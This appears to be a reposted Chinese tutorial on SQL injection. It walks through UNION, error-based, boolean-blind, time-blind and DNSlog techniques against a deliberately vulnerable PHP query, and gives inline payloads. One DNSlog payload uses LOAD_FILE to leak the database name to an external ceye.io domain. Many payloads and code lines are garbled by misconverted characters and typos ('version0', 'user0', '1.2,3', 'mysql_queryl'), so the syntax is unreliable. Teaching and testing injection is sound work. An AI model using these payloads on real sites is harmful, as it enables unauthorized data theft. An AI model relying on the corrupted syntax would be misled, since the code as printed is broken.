SQL注入语法类型和sql盲注
SQL注入語(yǔ)法
Union注入方法
SQL UNION操作符
UNION操作符用于合并兩個(gè)或多個(gè)SELECT語(yǔ)句的結(jié)果集。
注意,UNION 內(nèi)部的SELECT語(yǔ)句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。同時(shí),每條SELECT語(yǔ)句中的列的順序必須相同。
默認(rèn)情況,UNION 操作符選取不同的值。如果允許重復(fù)的值,請(qǐng)使用UNION ALL。
例:
SELECT column name(s) FROM table_ name1
UNION
SELECT column_ name(s) FROM table_ name2
|SELECT column_ name(s) FROM table_ name1
UNION ALL
SELECT column name(s) FROM table_ name2
UNION注入應(yīng)用場(chǎng)景
1.只有最后一個(gè)SELECT子句允許有ORDER BY;
2.只有最后一個(gè)SELECT子句允許有l(wèi)imit;
3.只要UNON連接的幾個(gè)查詢的字段數(shù)一樣且列的數(shù)據(jù)類型轉(zhuǎn)換沒(méi)有問(wèn)題,就可以查詢出結(jié)果:
4.注入點(diǎn)頁(yè)面有回顯;
例:
mysql> select * from users order by id union select 1.2,3;
ERROR 1221 (HY00): ncorrer usage of UNION and ORDER BY
mysq|> select * from users limit 0.1 union selet 1.2.3;
ERROR 1221 (HY00); Inorrecet usage of UNION and LIMIT
order by猜出來(lái)的列數(shù)超過(guò)數(shù)據(jù)庫(kù)表中的列數(shù),報(bào)錯(cuò)井不能返回?cái)?shù)據(jù)
過(guò)程
1.order by確定列數(shù)
2.觀察頁(yè)面返回,選取可以顯示數(shù)據(jù)的位置,進(jìn)行下一步的注入
3.讀庫(kù)信息
4.讀表信息
5.讀字段
6.讀數(shù)據(jù)
在這個(gè)3到4階段,可以執(zhí)行任意語(yǔ)句
報(bào)錯(cuò)注入原理
構(gòu)造payload讓信息通過(guò)錯(cuò)誤提示回顯出來(lái)
應(yīng)用場(chǎng)景:查詢不回現(xiàn)內(nèi)容,會(huì)打印錯(cuò)誤信息。Update、insert等語(yǔ)句, 會(huì)打印錯(cuò)誤信息
報(bào)錯(cuò)注入方法
凡是可以讓錯(cuò)誤信息顯示的函數(shù)(語(yǔ)句) ,都能實(shí)現(xiàn)報(bào)錯(cuò)注入,這里我們列舉3種。
floor()
select count(*) from information_schema.tables group by concat((想要執(zhí)行的sql注入語(yǔ)句),(rand(0)*2)):
group by對(duì)rand0函數(shù)進(jìn)行操作時(shí)產(chǎn)生錯(cuò)誤
concat:連接字符串功能
floor:取float的整數(shù)值
rand:取0~1之間隨機(jī)浮點(diǎn)值
group by.根據(jù)一個(gè)或多個(gè)列對(duì)結(jié)果集進(jìn)行分組并有排序功能
extractvalue()
extractvalue(1,concat(0x7e,(想要執(zhí)行的sql注入語(yǔ)句),0x7e);、
xpath語(yǔ)法錯(cuò)誤產(chǎn)生報(bào)錯(cuò)
extractvalue() :接收2個(gè)參數(shù),第一個(gè)XML文檔,第二個(gè)xpath語(yǔ)句
updatexml()
select updatexml(1,concat(0x7e,(想要執(zhí)行的sql注入語(yǔ)句),0x7e)1);
xpath語(yǔ)法錯(cuò)誤產(chǎn)生報(bào)錯(cuò)
updatexml() :接收3個(gè)參數(shù)第一個(gè)XML文檔 ,第二個(gè)xpath語(yǔ)句,第三個(gè)字符串
sql盲注
布爾盲注原理
$id=$_ GET['id']; $sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1'; $result =mysql_queryl($sql); $row = mysql_fetch_array($result); if($row) { echo "right" ; } else { echo "wrong" ; }代碼存在SQL注入漏洞
然而頁(yè)面即不會(huì)回顯數(shù)據(jù),也不會(huì)回顯錯(cuò)誤信息
只返回"Right" 與"Wrong"
這里我們可以通過(guò)構(gòu)造語(yǔ)句,來(lái)判斷數(shù)據(jù)庫(kù)信息的正確性,再通過(guò)頁(yè)面的“真”和"假”來(lái)識(shí)別我們的判斷是否正確,這既是布爾盲注。
1.如果頁(yè)面返回“假”, 說(shuō)明系統(tǒng)執(zhí)行的SqL語(yǔ)句為“假”。例如: id=1 and left((select version0).1)=5–+
錯(cuò)誤請(qǐng)求,id=1’,想辦法構(gòu)造語(yǔ)句.判斷數(shù)據(jù)庫(kù)中內(nèi)容的值
布爾盲注方法
構(gòu)造邏輯判斷語(yǔ)句,判斷信息的真假,取出所有的真值,實(shí)現(xiàn)SQL注入
left0函數(shù)
left(database(),1)>‘s’
database()顯示數(shù)據(jù)庫(kù)名稱,left(a,b)從左側(cè)截取a的前b位
regexp
select user() regexp ‘^r’
正則表達(dá)式的用法user()結(jié)果為root,regexp為匹配root的正則表達(dá)式
like
select user0 like ‘ro%’
與regexp類似,使用like進(jìn)行匹配
substr()函數(shù)
ascii()函數(shù)
ascii(substr((select database()),1,1)=98
substr(a,b,c)從b位開(kāi)始,截取字符串a(chǎn)的c長(zhǎng)度。ascii()將某個(gè)字符轉(zhuǎn)換為ascii值
ord0函數(shù)
mid0函數(shù)
ord(mid((select user())1,1))=114
mid(a,b,c)從位b開(kāi)始,截取a字符串的c位ord()函數(shù)同ascii()。將字符轉(zhuǎn)為ascii值
時(shí)間盲注原理
$id=$_ GET['id']; $sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1'; $result =mysql_queryl($sql); $row = mysql_fetch_array($result); if($row) { echo "" ; } else { echo "" ; }代碼存在SQL注入漏洞,然而頁(yè)面即不會(huì)回顯數(shù)據(jù),也不會(huì)回顯錯(cuò)誤信息
語(yǔ)句執(zhí)行后也不提示真假,我們不能通過(guò)頁(yè)面的內(nèi)容來(lái)進(jìn)行判斷
這里我們可以通過(guò)構(gòu)造語(yǔ)句,通過(guò)頁(yè)面響應(yīng)的時(shí)長(zhǎng),來(lái)判斷信息,這既是時(shí)間盲注!
時(shí)間盲注方法
構(gòu)造邏輯語(yǔ)句,通過(guò)條件語(yǔ)句進(jìn)行判斷,為真則立即執(zhí)行,否則延時(shí)執(zhí)行
核心語(yǔ)法: if(left(user(),1)=‘a(chǎn)’,0,sleep(3));
left(user(),1)='a’判斷通過(guò)SQL語(yǔ)句取到某個(gè)值
真實(shí)場(chǎng)景: if(ascii(substr(database(),1,1)> 115,0,sleep(5))%23
dnslog盲注原理
$id=$_ GET['id']; $sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1'; $result =mysql_queryl($sql); $row = mysql_fetch_array($result); if($row) { echo "right" ; } else { echo "wrong" ; }代碼存在SQL注入漏洞,然而頁(yè)面即不會(huì)回顯數(shù)據(jù),也不會(huì)回顯錯(cuò)誤信息
我們通過(guò)布爾或者時(shí)間盲注都可以獲取到內(nèi)容,但是整個(gè)過(guò)程效率低,需要發(fā)送很多的請(qǐng)求進(jìn)行判斷,很可能會(huì)觸發(fā)安全設(shè)備的防護(hù)。
我們需要一種方式,減少請(qǐng)求,直接回顯數(shù)據(jù),這里可以使用DnsLog實(shí)現(xiàn)注入!
Dnslog平留: http://ceye.io/
DNS在解析的時(shí)候會(huì)留下日志,通過(guò)讀取多級(jí)域名的解析日志,獲取信息請(qǐng)求信息
Windows系統(tǒng)的MySqI LOAD_ FILE函數(shù)可以發(fā)起請(qǐng)求
Dnslog盲注方法
構(gòu)造語(yǔ)句,利用load file()函數(shù)發(fā)起請(qǐng)求,使用Dnslog接受請(qǐng)求,獲取數(shù)據(jù)
核心語(yǔ)法: SELECT LOAD_FILE(CONCA(‘\\’,select database()), ‘.mysql.r4ourp.ceye.io\abc’));
通過(guò)SQL語(yǔ)句詢內(nèi)容,作為請(qǐng)求的部分,發(fā)送至Dnslog
只要對(duì)這一部分的語(yǔ)句進(jìn)行構(gòu)造,就能實(shí)現(xiàn)有回顯的SQL注入
值得注意的是.這些數(shù)據(jù)格式和內(nèi)容都有限制,需要進(jìn)行些處理
總結(jié)
以上是生活随笔為你收集整理的SQL注入语法类型和sql盲注的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Java秒杀业务架构设计之路
- 下一篇: 使用webpack打包ES6代码